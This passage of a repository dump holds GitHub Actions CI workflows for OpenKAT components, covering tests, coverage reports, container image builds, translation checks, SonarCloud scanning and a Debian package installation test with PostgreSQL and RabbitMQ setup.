    "content": "name: Octopoes Tests (with coverage)\n\non:\n  workflow_call:\n\njobs:\n  unit-tests:\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install requirements\n        run: pip install -r requirements-dev.txt\n        working-directory: octopoes/\n\n      - name: Run unit tests\n        run: pytest --cov octopoes/ tests/\n        working-directory: octopoes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: octopoes-coverage-unit\n          path: octopoes/.coverage\n          include-hidden-files: true\n\n  integration-tests:\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run integration tests\n        run: make itest\n        working-directory: octopoes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: octopoes-coverage-integration\n          path: octopoes/.coverage\n          include-hidden-files: true\n\n  coverage:\n    runs-on: ubuntu-24.04\n    needs:\n      - unit-tests\n      - integration-tests\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install coverage\n        run: pip install coverage[toml]\n\n      - name: Download coverage artifacts\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          pattern: octopoes-coverage-*\n\n      - name: Merge and generate coverage report\n        run: |\n          coverage combine ../**/.coverage\n          coverage report\n          coverage xml --ignore-errors\n        working-directory: octopoes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: octopoes-coverage\n          path: octopoes/coverage.xml\n"
  },
  {
    "path": ".github/workflows/octopoes_container_image.yml",
    "content": "name: Octopoes Create container image\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - octopoes/**\n      - .github/workflows/octopoes_container_image.yml\n  pull_request:\n    paths:\n      - octopoes/**\n      - .github/workflows/octopoes_container_image.yml\n\njobs:\n  create_container_image:\n    permissions:\n      contents: read\n      packages: write\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Docker meta\n        id: meta\n        uses: docker/metadata-action@030e881283bb7a6894de51c315a6bfe6a94e05cf # v6.0.0\n        with:\n          images: |\n            docker.underdark.nl/librekat/openkat-octopoes\n          tags: |\n            type=ref,event=branch\n            type=ref,event=tag\n            type=ref,event=pr\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0\n        id: buildx\n\n      - name: Login to GitHub Container Registry\n        if: github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login\n        uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0\n        with:\n          registry: docker.underdark.nl\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n\n      - name: Generate version.py\n        run: |\n          pip install setuptools-scm==7.1.0\n          python -m setuptools_scm\n          cp _version.py octopoes/octopoes/version.py\n\n      - name: Build container image\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          # We don't use git context because that doesn't process .dockerignore\n          # https://github.com/docker/cli/issues/2827\n          context: octopoes\n          push: ${{ github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login }}\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n"
  },
  {
    "path": ".github/workflows/octopoes_rtest.yml",
    "content": "name: Octopoes Run the robot framework integration tests\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - octopoes/**\n      - .github/workflows/octopoes_rtest.yml\n  pull_request:\n    paths:\n      - octopoes/**\n      - .github/workflows/octopoes_rtest.yml\n\njobs:\n  rtest:\n    permissions:\n      contents: read\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install requirements-dev.txt\n        run: pip install -r requirements-dev.txt\n        working-directory: ./octopoes\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0\n        id: buildx\n\n      - name: Run robot tests\n        run: make rtest\n        env:\n          DOCKER_BUILDKIT: 1\n        working-directory: ./octopoes\n"
  },
  {
    "path": ".github/workflows/octopoes_tests.yml",
    "content": "name: Octopoes tests\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - octopoes/**\n      - .github/workflows/octopoes_tests.yml\n  pull_request:\n    paths:\n      - octopoes/**\n      - .github/workflows/octopoes_tests.yml\n\njobs:\n  test:\n    permissions:\n      contents: read\n    strategy:\n      fail-fast: false\n      matrix:\n        version: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Set up Python ${{ matrix.version }}\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: ${{ matrix.version }}\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install requirements.txt\n        run: pip install -r requirements-dev.txt\n        working-directory: ./octopoes\n\n      - name: Run unit tests\n        run: pytest\n        working-directory: ./octopoes\n\n      - name: Run integration tests\n        run: DOCKER_BUILDKIT=1 make itest build_args='--build-arg PYTHON_VERSION=${{ matrix.version }}'\n        working-directory: ./octopoes\n"
  },
  {
    "path": ".github/workflows/pre_commit_checks.yml",
    "content": "name: Pre-commit checks\n\non:\n  workflow_call:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n  pull_request:\n\njobs:\n  pre-commit:\n    permissions:\n      contents: read\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Set up Python\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        id: setup-python\n        with:\n          python-version: 3.13\n          cache: pip\n\n      - name: Install prek\n        run: pip install prek==0.3.2\n\n      - name: Cache prek\n        uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5\n        with:\n          path: ~/.cache/prek\n          key: prek|${{ steps.setup-python.outputs.python-version }}|${{ hashFiles('.pre-commit-config.yaml') }}\n\n      - name: Run prek\n        run: prek run --all-files --show-diff-on-failure --color always\n"
  },
  {
    "path": ".github/workflows/rocky-tests.yml",
    "content": "name: Rocky Tests (with coverage)\n\non:\n  workflow_call:\n\njobs:\n  unit-tests:\n    runs-on: ubuntu-24.04\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run unit tests\n        run: make utest\n        working-directory: rocky/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: rocky-coverage-unit\n          path: rocky/.coverage\n          include-hidden-files: true\n\n  integration-tests:\n    runs-on: ubuntu-24.04\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run integration tests\n        run: make itest\n        working-directory: rocky/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: rocky-coverage-integration\n          path: rocky/.coverage\n          include-hidden-files: true\n\n  coverage:\n    runs-on: ubuntu-24.04\n    needs:\n      - unit-tests\n      - integration-tests\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install coverage\n        run: pip install coverage[toml]\n\n      - name: Download coverage artifacts\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          pattern: rocky-coverage-*\n\n      - name: Merge and generate coverage report\n        run: |\n          coverage combine ../**/.coverage\n          coverage report\n          coverage xml --ignore-errors\n        working-directory: rocky/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: rocky-coverage\n          path: rocky/coverage.xml\n"
  },
  {
    "path": ".github/workflows/rocky_container_image.yml",
    "content": "name: Rocky Create container image\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - octopoes/**\n      - rocky/**\n      - .github/workflows/rocky_container_image.yml\n  pull_request:\n    paths:\n      - octopoes/**\n      - rocky/**\n      - .github/workflows/rocky_container_image.yml\n\njobs:\n  create_container_image:\n    permissions:\n      contents: read\n      packages: write\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Docker meta\n        id: meta\n        uses: docker/metadata-action@030e881283bb7a6894de51c315a6bfe6a94e05cf # v6.0.0\n        with:\n          images: |\n            docker.underdark.nl/librekat/openkat-rocky\n          tags: |\n            type=ref,event=branch\n            type=ref,event=tag\n            type=ref,event=pr\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0\n        id: buildx\n\n      - name: Login to the Container Registry\n        if: github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login\n        uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0\n        with:\n          registry: docker.underdark.nl\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n\n      - name: Generate version.py\n        run: |\n          pip install setuptools-scm==7.1.0\n          python -m setuptools_scm\n          cp _version.py rocky/rocky/version.py\n\n      - name: Build container image\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          # We don't use git context because that doesn't process .dockerignore\n          # https://github.com/docker/cli/issues/2827\n          context: .\n          file: rocky/Dockerfile\n          push: ${{ github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login }}\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n"
  },
  {
    "path": ".github/workflows/rocky_makelang.yml",
    "content": "name: Rocky Check if translations are up to date\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - rocky/**\n      - .github/workflows/rocky_makelang.yml\n  pull_request:\n    paths:\n      - rocky/**\n      - .github/workflows/rocky_makelang.yml\n\njobs:\n  makelang:\n    permissions:\n      contents: read\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Set up Python\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: 3.13\n          cache: pip\n\n      - name: Install GNU gettext utilities\n        run: sudo apt-get install -y --no-install-recommends gettext\n\n      - name: Install requirements.txt\n        run: |\n          grep -v git+https:// requirements.txt | pip install -r /dev/stdin\n          grep git+https:// requirements.txt | pip install -r /dev/stdin\n        working-directory: ./rocky\n\n      - name: Install Octopoes\n        run: pip install wheel setuptools && cd octopoes && python setup.py bdist_wheel && pip install dist/octopoes*.whl\n\n      - name: Generate the .pot file if source strings changed\n        run: make lang\n        working-directory: ./rocky\n        env:\n          BYTES_API: http://bytes:8000\n          BYTES_PASSWORD: password\n          BYTES_USERNAME: username\n          KATALOGUS_API: http://katalogus:8000\n          OCTOPOES_API: http://octopoes_api:80\n          SCHEDULER_API: http://scheduler:8000\n          SECRET_KEY: whatever\n\n      - name: Check if at least one source string changed\n        run: |\n          changed_lines=$(git diff --unified=0 rocky/rocky/locale/django.pot | grep -E -o '^[+-](msgid|msgstr)' | wc -l)\n          if [ \"$changed_lines\" -ge 1 ]; then\n            echo \"More than just POT-Creation-Date changed in django.pot\"\n            exit 1\n          fi\n"
  },
  {
    "path": ".github/workflows/rocky_tests.yml",
    "content": "name: Rocky Run the test suite\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - octopoes/**\n      - rocky/**\n      - .github/workflows/rocky_tests.yml\n  pull_request:\n    paths:\n      - octopoes/**\n      - rocky/**\n      - .github/workflows/rocky_tests.yml\n\njobs:\n  test:\n    permissions:\n      contents: read\n    strategy:\n      fail-fast: false\n      matrix:\n        version: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n\n    runs-on: ubuntu-24.04\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Build image\n        run: DOCKER_BUILDKIT=1 COMPOSE_DOCKER_CLI_BUILD=1 docker compose -f rocky/.ci/docker-compose.yml build --build-arg USER_UID=\"$(id -u)\" --build-arg USER_GID=\"$(id -g)\" --build-arg PYTHON_VERSION=${{ matrix.version }} rocky_tests rocky_integration\n\n      - name: Run tests\n        run: DOCKER_BUILDKIT=1 COMPOSE_DOCKER_CLI_BUILD=1 docker compose -f rocky/.ci/docker-compose.yml run --rm rocky_tests\n\n      - name: Run integration tests\n        run: DOCKER_BUILDKIT=1 COMPOSE_DOCKER_CLI_BUILD=1 docker compose -f rocky/.ci/docker-compose.yml run --rm rocky_integration\n"
  },
  {
    "path": ".github/workflows/sonar-cloud.yml",
    "content": "name: SonarCloud\n\non:\n  #workflow_dispatch:\n\n  #push:\n  #  branches:\n  #    - \"main\"\n  #pull_request:\n\njobs:\n  octopoes-tests:\n    permissions:\n      contents: read\n    uses: SSC-ICT-Innovatie/nl-kat-coordination/.github/workflows/octopoes-tests.yml@main\n  bytes-tests:\n    permissions:\n      contents: read\n    uses: SSC-ICT-Innovatie/nl-kat-coordination/.github/workflows/bytes-tests.yml@main\n  mula-tests:\n    permissions:\n      contents: read\n    uses: SSC-ICT-Innovatie/nl-kat-coordination/.github/workflows/mula-tests.yml@main\n  rocky-tests:\n    permissions:\n      contents: read\n    uses: SSC-ICT-Innovatie/nl-kat-coordination/.github/workflows/rocky-tests.yml@main\n  boefjes-tests:\n    permissions:\n      contents: read\n    uses: SSC-ICT-Innovatie/nl-kat-coordination/.github/workflows/boefjes-tests.yml@main\n\n  fix-coverage-reports:\n    permissions:\n      contents: read\n    runs-on: ubuntu-24.04\n\n    needs:\n      - octopoes-tests\n      - mula-tests\n      - bytes-tests\n      - rocky-tests\n      - boefjes-tests\n\n    strategy:\n      matrix:\n        module:\n          - name: octopoes\n            prefix_path: \"octopoes/\"\n          - name: mula\n            prefix_path: \"mula/\"\n          - name: bytes\n            prefix_path: \"bytes/\"\n          - name: rocky\n            prefix_path: \"rocky/\"\n          - name: boefjes\n            prefix_path: \"boefjes/\"\n\n    steps:\n      - name: Checkout coverage file fix script\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n        with:\n          fetch-depth: 0\n          sparse-checkout: .github/scripts/coverage_file_fixer.py\n\n      - name: Download coverage file\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          name: ${{ matrix.module['name'] }}-coverage\n          path: ${{ matrix.module['name'] }}-coverage\n\n      - name: Fix coverage report sources\n        uses: Mudlet/xmlstarlet-action@9866e85e774e0fb50bc49de15274d005b5a69f0e # master\n        with:\n          args: edit --inplace --update \"coverage/sources\" --value \"/github/workspace/${{ matrix.module['name'] }}/\" \"${{ matrix.module['name'] }}-coverage/coverage.xml\"\n\n      - name: Fix coverage file\n        run: python \"${{ github.workspace }}/.github/scripts/coverage_file_fixer.py\" \"${{ matrix.module['name'] }}-coverage/coverage.xml\" \"${{ matrix.module['prefix_path'] }}\"\n\n      - name: Upload fixed coverage file\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: \"${{ matrix.module['name'] }}-coverage-fixed\"\n          path: \"${{ matrix.module['name'] }}-coverage/coverage.xml\"\n\n  sonar-cloud:\n    permissions:\n      contents: read\n      pull-requests: write\n      security-events: write\n    runs-on: ubuntu-24.04\n\n    needs:\n      - fix-coverage-reports\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n        with:\n          fetch-depth: 0\n\n      - name: Download artifacts\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          pattern: \"*-coverage-fixed\"\n\n      - name: SonarCloud\n        uses: SonarSource/sonarqube-scan-action@59db25f34e16620e48ab4bb9e4a5dce155cb5432 # v8.0.0\n        env:\n          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/test_debian_packages_on_ubuntu.yml",
    "content": "name: Test installing the debian packages\n\non:\n  push:\n    tags:\n      - v*\n    branches:\n      - \"release**\"\n      - \"main\"\n  pull_request:\n    branches:\n      - \"release**\"\n  # Allows you to run this workflow manually from the Actions tab\n  workflow_dispatch:\n\njobs:\n  build-packages:\n    permissions:\n      contents: read\n    strategy:\n      matrix:\n        dist: [ubuntu22.04]\n        package: [bytes, boefjes, rocky, octopoes, mula]\n    runs-on: ubuntu-latest\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Get version from release tag or generate one\n        run: |\n          if [ ${GITHUB_REF_TYPE} = \"tag\" ]; then\n            echo \"RELEASE_VERSION=${GITHUB_REF#refs/*/v}\" >> $GITHUB_ENV\n          else\n            pip install setuptools-scm==7.1.0\n            echo \"RELEASE_VERSION=$(python -m setuptools_scm)\" >> $GITHUB_ENV\n          fi\n\n      - name: Run debian package build\n        uses: maus007/docker-run-action-fork@5ddaad0f7eedd03f64e412b1931852bd3031b273\n        with:\n          run: packaging/scripts/build-debian-package.sh\n          registry: docker.underdark.nl\n          image: docker.underdark.nl/librekat/openkat-${{ matrix.dist }}-build-image:latest\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n          options: -v ${{ github.workspace }}/${{ matrix.package }}:/app\n            -v ${{ github.workspace }}/octopoes:/octopoes\n            -e REPOSITORY=${{ github.repository }}\n            -e RELEASE_VERSION=${{ env.RELEASE_VERSION }}\n            -e RELEASE_TAG=${{ env.RELEASE_TAG }}\n            -e PKG_NAME=kat-${{ matrix.package }}\n            --workdir /app\n\n      - name: Upload .deb to artifacts\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: kat-${{ matrix.package }}_${{ env.RELEASE_VERSION }}_${{ matrix.dist }}.deb\n          path: ${{ matrix.package }}/build/kat-${{ matrix.package }}_${{ env.RELEASE_VERSION }}_amd64.deb\n\n  test-deb-install:\n    permissions:\n      contents: read\n    needs: build-packages\n    runs-on: ${{ matrix.os }}\n\n    strategy:\n      matrix:\n        os: [ubuntu-22.04]\n\n    env:\n      PGPASSWORD: postgres # No password prompt\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Get version from release tag or generate one\n        run: |\n          if [ ${GITHUB_REF_TYPE} = \"tag\" ]; then\n            echo \"RELEASE_VERSION=${GITHUB_REF#refs/*/v}\" >> $GITHUB_ENV\n          else\n            pip install setuptools-scm==7.1.0\n            echo \"RELEASE_VERSION=$(python -m setuptools_scm)\" >> $GITHUB_ENV\n          fi\n\n      - name: Set distro name (match build matrix.dist)\n        run: echo \"DIST_NAME=${{ matrix.os }}\" | sed 's/-//' >> $GITHUB_ENV\n\n      - name: Install dependencies Docker and rabbitmq\n        run: sudo apt-get update && sudo apt-get install -y docker.io containerd runc rabbitmq-server postgresql\n\n      - name: Start postgresql\n        run: |\n          sudo systemctl start postgresql.service\n\n      - name: Prepare rabbitmq configurations\n        run: |\n          echo \"export ERL_EPMD_ADDRESS=127.0.0.1\" | sudo tee -a /etc/rabbitmq/rabbitmq-env.conf\n          echo \"export NODENAME=rabbit@localhost\" | sudo tee -a /etc/rabbitmq/rabbitmq-env.conf\n          sudo systemctl stop rabbitmq-server\n          sudo epmd -kill\n          echo \"listeners.tcp.local = 127.0.0.1:5672\" | sudo tee -a /etc/rabbitmq/rabbitmq.conf\n          echo \"[{kernel,[ {inet_dist_use_interface,{127,0,0,1}}]}].\" | sudo tee -a /etc/rabbitmq/advanced.config\n\n      - name: Start rabbitmq\n        run: |\n          sudo systemctl start rabbitmq-server\n\n      - name: Wait until postgresql is healthy\n        run: |\n          for i in {1..10}; do pg_isready -h localhost && break || sleep 1 ; done\n\n      - name: Prepare postgres service Rocky\n        run: |\n          sudo -u postgres createdb rocky_db\n          sudo -u postgres createuser rocky\n          sudo -u postgres psql -c \"GRANT ALL ON DATABASE rocky_db TO rocky;\"\n          sudo -u postgres psql -c \"ALTER USER rocky WITH PASSWORD 'postgres';\"\n\n      - name: Prepare postgres service Katalogus\n        run: |\n          sudo -u postgres createdb katalogus_db\n          sudo -u postgres createuser katalogus\n          sudo -u postgres psql -c \"GRANT ALL ON DATABASE katalogus_db TO katalogus;\"\n          sudo -u postgres psql -c \"ALTER USER katalogus WITH PASSWORD 'postgres';\"\n\n      - name: Prepare postgres service Bytes\n        run: |\n          sudo -u postgres createdb bytes_db\n          sudo -u postgres createuser bytes\n          sudo -u postgres psql -c \"GRANT ALL ON DATABASE bytes_db TO bytes;\"\n          sudo -u postgres psql -c \"ALTER USER bytes WITH PASSWORD 'postgres';\"\n\n      - name: Prepare postgres service Mula\n        run: |\n          sudo -u postgres createdb mula_db\n          sudo -u postgres createuser mula\n          sudo -u postgres psql -c \"GRANT ALL ON DATABASE mula_db TO mula;\"\n          sudo -u postgres psql -c \"ALTER USER mula WITH PASSWORD 'postgres';\"\n\n      - name: Wait until rabbitmq is healthy\n        run: |\n          for i in {1..10}; do sudo rabbitmq-diagnostics -q ping && break || sleep 1 ; done\n\n      - name: Create kat vhost in rabbitmq\n        run: |\n          sudo rabbitmqctl add_user kat rabbit\n          sudo rabbitmqctl add_vhost kat\n          sudo rabbitmqctl set_permissions -p \"kat\" \"kat\" \".*\" \".*\" \".*\"\n\n      - name: Download Bytes artifact\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          name: kat-bytes_${{ env.RELEASE_VERSION }}_${{ env.DIST_NAME }}.deb\n\n      - name: Download Boefjes artifact\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          name: kat-boefjes_${{ env.RELEASE_VERSION }}_${{ env.DIST_NAME }}.deb\n\n      - name: Download Rocky artifact\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          name: kat-rocky_${{ env.RELEASE_VERSION }}_${{ env.DIST_NAME }}.deb\n\n      - name: Download Mula artifact\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          name: kat-mula_${{ env.RELEASE_VERSION }}_${{ env.DIST_NAME }}.deb\n\n      - name: Download Octopoes artifact\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          name: kat-octopoes_${{ env.RELEASE_VERSION }}_${{ env.DIST_NAME }}.deb\n\n      - name: Get the OpenKAT artifacts\n        run: |\n          curl -Ls https://github.com/underdarknl/xtdb-http-multinode/releases/download/v1.1.2/xtdb-http-multinode_1.1.2_all.deb --output xtdb-http-multinode.deb;\n\n      - name: Install the artifacts\n        run: |\n          sudo apt install ./kat-*.deb ./xtdb-http-multinode.deb\n\n      - name: Update configs for rabbitmq\n        run: |\n          sudo sed -i \"s/QUEUE_URI=/QUEUE_URI=amqp:\\/\\/kat:rabbit@localhost:5672\\/kat/g\" /etc/kat/mula.conf\n          sudo sed -i \"s/QUEUE_URI=/QUEUE_URI=amqp:\\/\\/kat:rabbit@localhost:5672\\/kat/g\" /etc/kat/bytes.conf\n          sudo sed -i \"s/QUEUE_URI=/QUEUE_URI=amqp:\\/\\/kat:rabbit@localhost:5672\\/kat/g\" /etc/kat/boefjes.conf\n          sudo sed -i \"s/QUEUE_URI=/QUEUE_URI=amqp:\\/\\/kat:rabbit@localhost:5672\\/kat/g\" /etc/kat/octopoes.conf\n\n      - name: Migrations for Rocky\n        run: |\n          sudo sed -i \"s/ROCKY_DB_PASSWORD=/ROCKY_DB_PASSWORD=postgres/g\" /etc/kat/rocky.conf\n          sudo -u kat rocky-cli migrate\n          sudo -u kat rocky-cli loaddata /usr/share/kat-rocky/OOI_database_seed.json\n\n      - name: Migrations for Katalogus\n        run: |\n          sudo sed -i \"s/KATALOGUS_DB_URI=/KATALOGUS_DB_URI=postgresql:\\/\\/katalogus:postgres@localhost\\/katalogus_db/g\" /etc/kat/boefjes.conf\n          sudo -u kat update-katalogus-db\n\n      - name: Migrations for Bytes\n        run: |\n          sudo sed -i \"s/BYTES_DB_URI=/BYTES_DB_URI=postgresql:\\/\\/bytes:postgres@localhost\\/bytes_db/g\" /etc/kat/bytes.conf\n          sudo -u kat update-bytes-db\n\n      - name: Migrations for Mula\n        run: |\n          sudo sed -i \"s/SCHEDULER_DB_URI=/SCHEDULER_DB_URI=postgresql:\\/\\/mula:postgres@localhost\\/mula_db/g\" /etc/kat/mula.conf\n          sudo -u kat update-mula-db\n\n      - name: Setup Bytes credentials\n        run: |\n          sudo sed -i \"s/BYTES_PASSWORD=\\$/BYTES_PASSWORD=$(sudo grep BYTES_PASSWORD /etc/kat/bytes.conf | awk -F'=' '{ print $2 }')/\" /etc/kat/rocky.conf\n          sudo sed -i \"s/BYTES_PASSWORD=\\$/BYTES_PASSWORD=$(sudo grep BYTES_PASSWORD /etc/kat/bytes.conf | awk -F'=' '{ print $2 }')/\" /etc/kat/boefjes.conf\n          sudo sed -i \"s/BYTES_PASSWORD=\\$/BYTES_PASSWORD=$(sudo grep BYTES_PASSWORD /etc/kat/bytes.conf | awk -F'=' '{ print $2 }')/\" /etc/kat/mula.conf\n\n      - name: Restart KAT\n        run: sudo systemctl restart kat-rocky kat-rocky-worker kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n      - name: Setup accounts in Rocky\n        run: |\n          DJANGO_SUPERUSER_PASSWORD=robotpassword sudo -E -u kat rocky-cli createsuperuser --noinput --email robot@localhost --full_name \"Mr. Robot\"\n          sudo -u kat rocky-cli setup_dev_account\n\n      - name: Check Bytes API health or print response and logs\n        run: |\n          for i in {1..15}; do curl -s http://localhost:8002/health | jq .healthy | grep true -q && s=0 && break || s=$? && sleep 1 ; done\n          if [ $s != 0 ]; then echo $(curl -v http://localhost:8002/health) || true && journalctl --no-pager -u kat-bytes.service && exit $s ; fi\n\n      - name: Check Katalogus API health or print response and logs\n        run: |\n          for i in {1..15}; do curl -s http://localhost:8003/health | jq .healthy | grep true -q && s=0 && break || s=$? && sleep 1 ; done\n          if [ $s != 0 ]; then echo $(curl -v http://localhost:8003/health) || true && journalctl --no-pager -u kat-katalogus.service && exit $s ; fi\n\n      - name: Check Scheduler API health or print response and logs\n        run: |\n          for i in {1..15}; do curl -s http://localhost:8004/health | jq .healthy | grep true -q && s=0 && break || s=$? && sleep 1 ; done\n          if [ $s != 0 ]; then echo $(curl -v http://localhost:8004/health) || true && journalctl --no-pager -u kat-mula.service && exit $s ; fi\n\n      - name: Check XTDB health or print response and logs\n        run: |\n          for i in {1..30}; do curl -s -H \"Accept: application/edn\" http://localhost:3000/_dev/_xtdb/test/status && s=0 && break || s=$? && sleep 1 ; done\n          if [ $s != 0 ]; then echo $(curl -s -H \"Accept: application/edn\" http://localhost:3000/_dev/_xtdb/test/status) || true && journalctl 